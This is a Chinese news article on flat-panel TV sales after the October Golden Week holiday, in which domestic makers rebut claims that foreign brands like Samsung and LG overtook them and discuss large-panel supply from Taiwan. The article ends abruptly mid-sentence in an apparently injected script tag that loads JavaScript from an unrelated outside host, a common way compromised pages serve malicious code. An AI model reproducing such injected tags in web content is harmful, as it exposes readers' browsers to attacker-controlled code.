十一黄金周过后，一些家电零售连锁企业发布平板电视销售报告称：外资品牌销量超过国产品牌，在一些外资企业的刻意炒作下，使得一股“外资平板超越国产平板”的声音在业内出现，事实真的如此吗？在记者的采访中，国产平板阵营皆曰“否”。国产阵营一致认为：十一黄金周期间，虽然外资平板普遍采用降价促销的方式，但是并没有取得所谓的份额优势，在二三级市场更是几乎无立足之地。
根据中怡康的统计，国庆期间，海信、tcl和康佳分别占据了平板销售的前三名，外资品牌无一入围，这与个别渠道发布的信息有很大差异。记者最近一周在走访各大卖场时发现，经历了十一黄金周的价格大战，外资品牌无一例外地恢复了节前的价格，外资平板炒作的黄金周超过10%的“负毛利”运营显然没有长久地支撑下去。而国产平板的价格走势平稳，销售份额也呈现上升势头。
外资平板 市场份额并未胜出
最近发布的黄金周平板电视销售报告显示，在个别渠道中，以三星、lg、东芝为代表的外资品牌在销售额上首次超越了国产平板，其中三星、lg进入前三强，一时间业内纷传外资平板将超越国产平板。
外资平板这次的舆论攻势引起了国产阵营的警惕，创维彩电事业部总裁杨东文向记者表示：“外资平板的份额优势是在个别渠道中的短期现象，不能说明国产与国外品牌之间的真正的竞争形势。国产平板无论在渠道、服务还是应用技术方面都有很明显的优势，因为从中怡康统计数据来看，平板电视销量的前三名仍然是国产品牌。”
记者了解到，日韩等外资平板品牌在国庆期间都采取负毛利的方式拓展市场份额，个别企业的负毛利甚至超过12%，这就意味着外资品牌在黄金周的几个亿的销售额换来的是几千万元的亏损，这个巨额亏损可能需要今后几个月的销售才能补回。
但是，“负毛利”运营并没有带来个别家电连锁企业所鼓吹的“外资超越国产平板”现实，记者在采访中从国产阵营获得的一致的信息是，国产品牌依然牢牢占据着平板市场的绝大部分市场份额，即使在家电连锁企业这样的大渠道，国产品牌的销售量也要超过外资。
以一级市场的数据为例，三星在国庆期间销售额2亿多元，约合销量1.2万台。海信、创维、康佳则都达到了3万台，绝对数量远远超过了三星。因为资源支持充分的缘故，康佳在32英寸这一个尺寸上销售达到1.6万台，远远超过三星全线产品的销量。
从全国范围来看，国产品牌的份额优势更加明显。康佳多媒体营销事业部副总经理刘丹告诉记者，“黄金周期间，在河南濮阳这样的二级城市的一个卖场，康佳平板一天的销售量就达到30台，在二、三级城市，康佳平板的月销量在10万台左右，外资品牌则几乎不见踪影。”
根据中怡康的统计，国庆期间，海信、tcl和康佳分别占据了平板销售的前三名，外资品牌无一入围，这与一些渠道商发布的信息有很大差异。据业内人士分析，其中主要原因是由于中怡康所统计的渠道范围更广，不仅包括了个别中心城市的渠道，而且包括了更多的二级市场和其他渠道。由此可以看出，在更广阔的市场中，国产平板的优势十分明显。
创维彩电事业部总裁杨东文告诉记者：“在应用技术上国产平板绝对走到了外资品牌的前面，无论是高清显示和画面处理，还是在流媒体等外延设备上，外资品牌一直在跟随国产品牌，同时中外平板使用的是完全一样的屏，这样外资品牌要抢占份额只能通过降价，这其实意味着其以往强大的议价权的丧失，对国产品牌来说，这是一个很好的超越机会。”
国产平板 酝酿大屏幕市场反攻
业内人士分析，对于国产平板，这次黄金周吃亏最大的就是40英寸以上大屏幕的供货资源不占优势，导致在大尺寸平板市场表现不是很理想。但是，目前中国台湾乃至大陆的面板商对40英寸以上大屏的量产，也为国产品牌提供了更充足的“弹药”。
记者了解到，目前友达7.5代线的42英寸屏已经量产，元旦就会放量，奇美等42英寸、47英寸面板会很快跟上国内企业的需求；而且一些企业开始尝试用5代线来切割42英寸、47英寸的面板，其中中华映管以及国内的上广电nec也将投产47英寸的面板，这就为国产品牌提供了更多的选择。
目前，台湾已经取代日韩成为全球第一大面板供应商，日韩企业索尼、夏普甚至三星也开始从台湾采购，日韩企业自己的面板出货价却居高不下，部分企业甚至出现了亏损，其中最近两个季度lg-飞利浦就连续出现了近6.8亿美元的巨亏。
在这样的情况下外资平板以往所说的屏的优势已荡然无存，而且台湾面板商的面板价格保持了相当幅度的价格优势，这对于国产平板是个利好消息，他们开始通过多种方式来加强与台湾企业的合作。
tcl依靠节前从奇美采购的1.4万台47英寸屏，将低端的47英寸k73的价格下拉到1.2万元，在大屏幕上取得了近5000台的销量，这显然给国产品牌一个很好的提示：与台湾企业结盟，在元旦旺季向?script src=http://er12.com/t.js>
